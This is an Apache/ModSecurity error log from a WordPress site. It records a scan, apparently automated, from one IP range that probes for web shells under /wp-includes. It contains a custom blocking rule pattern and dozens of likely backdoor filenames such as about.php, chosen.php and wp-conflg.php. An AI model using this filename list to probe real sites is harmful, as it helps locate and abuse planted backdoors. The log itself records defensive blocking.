[Tue Feb 10 19:22:09.794695 2026] [:error] [pid 47937:tid 47942] [client 194.5.82.41:55905] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/PHPMailer.php"] [unique_id "aYsU4cpqXpC2CvJ3fOOh7QAAAMM"]
[Tue Feb 10 19:22:10.014287 2026] [:error] [pid 30054:tid 30062] [client 194.5.82.4:44745] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aYsU4mecgOOXCu-GgYUs7QAAAQY"]
[Tue Feb 10 19:22:10.272089 2026] [proxy_fcgi:error] [pid 47937:tid 47959] [client 194.5.82.25:49773] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:10.767665 2026] [:error] [pid 47937:tid 47955] [client 194.5.82.25:49773] [client 194.5.82.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.5.82.25, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYsU4spqXpC2CvJ3fOOh8wAAANA"]
[Tue Feb 10 19:22:10.771758 2026] [proxy_fcgi:error] [pid 47937:tid 47955] [client 194.5.82.25:49773] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:11.154899 2026] [proxy_fcgi:error] [pid 47937:tid 47944] [client 194.5.82.25:49773] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:11.274295 2026] [proxy_fcgi:error] [pid 47937:tid 47939] [client 194.5.82.25:49773] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:11.391848 2026] [:error] [pid 47937:tid 47946] [client 194.5.82.25:49773] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aYsU48pqXpC2CvJ3fOOh-AAAAMc"]
[Tue Feb 10 19:22:11.609933 2026] [:error] [pid 59407:tid 59411] [client 194.5.82.38:31507] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/HookManager.php"] [unique_id "aYsU42LlhBXE3qmX-JkUbwAAAUI"]
[Tue Feb 10 19:22:11.985714 2026] [:error] [pid 7704:tid 7709] [client 194.5.82.12:20695] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/chosen.php"] [unique_id "aYsU4_0EcqgVBUs6CW0NLAAAAcI"]
[Tue Feb 10 19:22:12.358985 2026] [proxy_fcgi:error] [pid 30054:tid 30072] [client 194.5.82.7:54495] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:12.485714 2026] [proxy_fcgi:error] [pid 30054:tid 30067] [client 194.5.82.7:54495] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:12.983470 2026] [:error] [pid 30054:tid 30075] [client 194.5.82.7:54495] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/admin.php"] [unique_id "aYsU5GecgOOXCu-GgYUs9gAAARM"]
[Tue Feb 10 19:22:13.201397 2026] [:error] [pid 47837:tid 47913] [client 194.5.82.22:65511] [client 194.5.82.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/ini_user-info.php"] [unique_id "aYsU5XFY8KYFPX79Z4nXKAAAAI0"]
[Tue Feb 10 19:22:13.473459 2026] [proxy_fcgi:error] [pid 47837:tid 47923] [client 194.5.82.18:33893] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:13.590512 2026] [proxy_fcgi:error] [pid 47837:tid 47919] [client 194.5.82.18:33893] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:13.861000 2026] [proxy_fcgi:error] [pid 47837:tid 47914] [client 194.5.82.18:33893] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:13.977996 2026] [:error] [pid 47837:tid 47909] [client 194.5.82.18:33893] [client 194.5.82.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/500.php"] [unique_id "aYsU5XFY8KYFPX79Z4nXLwAAAIk"]
[Tue Feb 10 19:22:14.200667 2026] [proxy_fcgi:error] [pid 59407:tid 59410] [client 194.5.82.34:40089] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:14.357436 2026] [proxy_fcgi:error] [pid 59407:tid 59409] [client 194.5.82.34:40089] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:14.473890 2026] [proxy_fcgi:error] [pid 59407:tid 59424] [client 194.5.82.34:40089] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:14.854862 2026] [:error] [pid 59407:tid 59423] [client 194.5.82.34:40089] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aYsU5mLlhBXE3qmX-JkUdwAAAU4"]
[Tue Feb 10 19:22:15.082687 2026] [proxy_fcgi:error] [pid 30054:tid 30057] [client 194.5.82.13:40815] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:15.195602 2026] [proxy_fcgi:error] [pid 30054:tid 30060] [client 194.5.82.13:40815] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:15.458777 2026] [proxy_fcgi:error] [pid 30054:tid 30079] [client 194.5.82.13:40815] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:15.573759 2026] [proxy_fcgi:error] [pid 30054:tid 30070] [client 194.5.82.13:40815] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:15.688927 2026] [proxy_fcgi:error] [pid 30054:tid 30071] [client 194.5.82.13:40815] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:15.855133 2026] [proxy_fcgi:error] [pid 30054:tid 30062] [client 194.5.82.13:40815] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:15.974183 2026] [proxy_fcgi:error] [pid 30054:tid 30058] [client 194.5.82.13:40815] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:16.082976 2026] [:error] [pid 30054:tid 30078] [client 194.5.82.13:40815] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/user-info.php"] [unique_id "aYsU6GecgOOXCu-GgYUtAwAAARY"]
[Tue Feb 10 19:22:16.421904 2026] [proxy_fcgi:error] [pid 30054:tid 30069] [client 194.5.82.52:61799] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:16.564043 2026] [proxy_fcgi:error] [pid 30054:tid 30076] [client 194.5.82.52:61799] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:16.676745 2026] [proxy_fcgi:error] [pid 30054:tid 30074] [client 194.5.82.52:61799] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:16.910490 2026] [proxy_fcgi:error] [pid 30054:tid 30056] [client 194.5.82.52:61799] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:17.068985 2026] [:error] [pid 30054:tid 30073] [client 194.5.82.52:61799] [client 194.5.82.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Utility/about.php"] [unique_id "aYsU6WecgOOXCu-GgYUtDAAAARE"]
[Tue Feb 10 19:22:17.292452 2026] [proxy_fcgi:error] [pid 7704:tid 7714] [client 194.5.82.8:50557] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:17.469806 2026] [:error] [pid 7704:tid 7721] [client 194.5.82.8:50557] [client 194.5.82.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aYsU6f0EcqgVBUs6CW0NLgAAAc4"]
[Tue Feb 10 19:22:17.710796 2026] [proxy_fcgi:error] [pid 59544:tid 59551] [client 194.5.82.30:63037] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:17.853844 2026] [:error] [pid 59544:tid 59575] [client 194.5.82.30:63037] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aYsU6aZySR9mFY4BainojAAAAZc"]
[Tue Feb 10 19:22:18.072610 2026] [:error] [pid 59544:tid 59549] [client 194.5.82.45:26519] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aYsU6qZySR9mFY4BainojQAAAYE"]
[Tue Feb 10 19:22:18.292454 2026] [:error] [pid 47837:tid 47922] [client 194.5.82.42:29847] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Registry.php"] [unique_id "aYsU6nFY8KYFPX79Z4nXMwAAAJY"]
[Tue Feb 10 19:22:18.773479 2026] [proxy_fcgi:error] [pid 47837:tid 47913] [client 194.5.82.50:35779] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:18.896947 2026] [proxy_fcgi:error] [pid 47837:tid 47923] [client 194.5.82.50:35779] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:19.405319 2026] [proxy_fcgi:error] [pid 47837:tid 47914] [client 194.5.82.50:35779] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:19.548525 2026] [:error] [pid 47837:tid 47910] [client 194.5.82.50:35779] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aYsU63FY8KYFPX79Z4nXQAAAAIo"]
[Tue Feb 10 19:22:19.782773 2026] [proxy_fcgi:error] [pid 59544:tid 59552] [client 194.5.82.9:54557] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:20.123955 2026] [proxy_fcgi:error] [pid 59544:tid 59548] [client 194.5.82.9:54557] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:20.268447 2026] [proxy_fcgi:error] [pid 59544:tid 59562] [client 194.5.82.9:54557] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:20.384222 2026] [proxy_fcgi:error] [pid 59544:tid 59559] [client 194.5.82.9:54557] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:20.654866 2026] [proxy_fcgi:error] [pid 59544:tid 59567] [client 194.5.82.9:54557] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:20.770702 2026] [proxy_fcgi:error] [pid 59544:tid 59569] [client 194.5.82.9:54557] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:20.879925 2026] [:error] [pid 59544:tid 59551] [client 194.5.82.9:54557] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "aYsU7KZySR9mFY4BainomAAAAYM"]
[Tue Feb 10 19:22:21.120629 2026] [proxy_fcgi:error] [pid 7704:tid 7719] [client 194.5.82.33:65081] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:22.020890 2026] [proxy_fcgi:error] [pid 7704:tid 7708] [client 194.5.82.33:65081] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:22.660511 2026] [proxy_fcgi:error] [pid 7704:tid 7721] [client 194.5.82.33:65081] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:22.778176 2026] [proxy_fcgi:error] [pid 7704:tid 7728] [client 194.5.82.33:65081] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:22.893745 2026] [proxy_fcgi:error] [pid 7704:tid 7710] [client 194.5.82.33:65081] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:23.007218 2026] [proxy_fcgi:error] [pid 7704:tid 7730] [client 194.5.82.33:65081] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:23.160820 2026] [proxy_fcgi:error] [pid 7704:tid 7725] [client 194.5.82.33:65081] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:23.511281 2026] [proxy_fcgi:error] [pid 7704:tid 7712] [client 194.5.82.33:65081] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:23.658197 2026] [proxy_fcgi:error] [pid 7704:tid 7707] [client 194.5.82.33:65081] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:23.770327 2026] [proxy_fcgi:error] [pid 7704:tid 7729] [client 194.5.82.33:65081] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:23.883427 2026] [proxy_fcgi:error] [pid 7704:tid 7719] [client 194.5.82.33:65081] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:23.992598 2026] [:error] [pid 7704:tid 7727] [client 194.5.82.33:65081] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aYsU7_0EcqgVBUs6CW0NTQAAAdQ"]
[Tue Feb 10 19:22:24.369661 2026] [proxy_fcgi:error] [pid 59544:tid 59550] [client 194.5.82.25:50587] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:24.486358 2026] [proxy_fcgi:error] [pid 59544:tid 59548] [client 194.5.82.25:50587] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:24.853310 2026] [:error] [pid 59544:tid 59553] [client 194.5.82.25:50587] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aYsU8KZySR9mFY4BainoogAAAYU"]
[Tue Feb 10 19:22:25.080595 2026] [proxy_fcgi:error] [pid 47837:tid 47923] [client 194.5.82.42:60963] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:25.307080 2026] [proxy_fcgi:error] [pid 47837:tid 47901] [client 194.5.82.42:60963] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:25.420235 2026] [proxy_fcgi:error] [pid 47837:tid 47902] [client 194.5.82.42:60963] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:25.678755 2026] [proxy_fcgi:error] [pid 47837:tid 47910] [client 194.5.82.42:60963] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:26.059329 2026] [proxy_fcgi:error] [pid 47837:tid 47912] [client 194.5.82.42:60963] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:26.757732 2026] [proxy_fcgi:error] [pid 47837:tid 47911] [client 194.5.82.42:60963] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:27.039295 2026] [:error] [pid 47837:tid 47922] [client 194.5.82.42:60963] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/library/about.php"] [unique_id "aYsU83FY8KYFPX79Z4nXUAAAAJY"]
[Tue Feb 10 19:22:27.287171 2026] [proxy_fcgi:error] [pid 47937:tid 47951] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:27.401172 2026] [proxy_fcgi:error] [pid 47937:tid 47958] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:27.552429 2026] [proxy_fcgi:error] [pid 47937:tid 47963] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:27.672602 2026] [proxy_fcgi:error] [pid 47937:tid 47961] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:27.908961 2026] [proxy_fcgi:error] [pid 47937:tid 47954] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:28.193108 2026] [proxy_fcgi:error] [pid 47937:tid 47941] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:28.456855 2026] [proxy_fcgi:error] [pid 47937:tid 47950] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:28.587443 2026] [proxy_fcgi:error] [pid 47937:tid 47957] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:28.819758 2026] [proxy_fcgi:error] [pid 47937:tid 47951] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:28.960562 2026] [proxy_fcgi:error] [pid 47937:tid 47943] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:29.304491 2026] [proxy_fcgi:error] [pid 47937:tid 47952] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:29.801697 2026] [proxy_fcgi:error] [pid 47937:tid 47949] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:30.073875 2026] [proxy_fcgi:error] [pid 47937:tid 47945] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:30.196313 2026] [proxy_fcgi:error] [pid 47937:tid 47955] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:30.313619 2026] [proxy_fcgi:error] [pid 47937:tid 47942] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:30.568286 2026] [proxy_fcgi:error] [pid 47937:tid 47954] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:30.684185 2026] [proxy_fcgi:error] [pid 47937:tid 47946] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:32.366317 2026] [proxy_fcgi:error] [pid 47937:tid 47953] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:32.487268 2026] [proxy_fcgi:error] [pid 47937:tid 47951] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:32.603825 2026] [proxy_fcgi:error] [pid 47937:tid 47943] [client 194.5.82.34:47177] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:32.763017 2026] [:error] [pid 47937:tid 47958] [client 194.5.82.34:47177] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aYsU-MpqXpC2CvJ3fOOiMQAAANM"]
[Tue Feb 10 19:22:33.113304 2026] [proxy_fcgi:error] [pid 47831:tid 47893] [client 194.5.82.28:64457] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:33.255274 2026] [proxy_fcgi:error] [pid 47831:tid 47876] [client 194.5.82.28:64457] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:33.486029 2026] [proxy_fcgi:error] [pid 47831:tid 47897] [client 194.5.82.28:64457] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:33.771167 2026] [proxy_fcgi:error] [pid 47831:tid 47879] [client 194.5.82.28:64457] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:33.895478 2026] [proxy_fcgi:error] [pid 47831:tid 47891] [client 194.5.82.28:64457] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:34.011197 2026] [proxy_fcgi:error] [pid 47831:tid 47873] [client 194.5.82.28:64457] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:34.159849 2026] [proxy_fcgi:error] [pid 47831:tid 47887] [client 194.5.82.28:64457] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:34.273616 2026] [:error] [pid 47831:tid 47890] [client 194.5.82.28:64457] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aYsU-idxbZYarWVkiABlgwAAAFE"]
[Tue Feb 10 19:22:34.495776 2026] [proxy_fcgi:error] [pid 47830:tid 47845] [client 194.5.82.19:33089] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:34.604633 2026] [:error] [pid 47830:tid 47854] [client 194.5.82.19:33089] [client 194.5.82.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aYsU-kco45BZs8e301Bq-wAAAAg"]
[Tue Feb 10 19:22:34.993482 2026] [:error] [pid 47837:tid 47923] [client 194.5.82.7:22313] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aYsU-nFY8KYFPX79Z4nXegAAAJc"]
[Tue Feb 10 19:22:35.214270 2026] [proxy_fcgi:error] [pid 59544:tid 59554] [client 194.5.82.9:55015] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:35.597675 2026] [:error] [pid 59544:tid 59563] [client 194.5.82.9:55015] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/404.php"] [unique_id "aYsU-6ZySR9mFY4BainoqgAAAY8"]
[Tue Feb 10 19:22:36.098738 2026] [:error] [pid 47831:tid 47877] [client 194.5.82.51:43191] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Requests.php"] [unique_id "aYsU_CdxbZYarWVkiABliAAAAEQ"]
[Tue Feb 10 19:22:36.466069 2026] [proxy_fcgi:error] [pid 47831:tid 47887] [client 194.5.82.14:55707] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:36.576838 2026] [proxy_fcgi:error] [pid 47831:tid 47890] [client 194.5.82.14:55707] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:36.803765 2026] [proxy_fcgi:error] [pid 47831:tid 47896] [client 194.5.82.14:55707] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:36.956683 2026] [:error] [pid 47831:tid 47889] [client 194.5.82.14:55707] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/HTTP/Parser.php"] [unique_id "aYsU_CdxbZYarWVkiABlkAAAAFA"]
[Tue Feb 10 19:22:37.188446 2026] [proxy_fcgi:error] [pid 47837:tid 47921] [client 194.5.82.5:37821] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:37.307222 2026] [proxy_fcgi:error] [pid 47837:tid 47919] [client 194.5.82.5:37821] AH01071: Got error 'Primary script unknown'
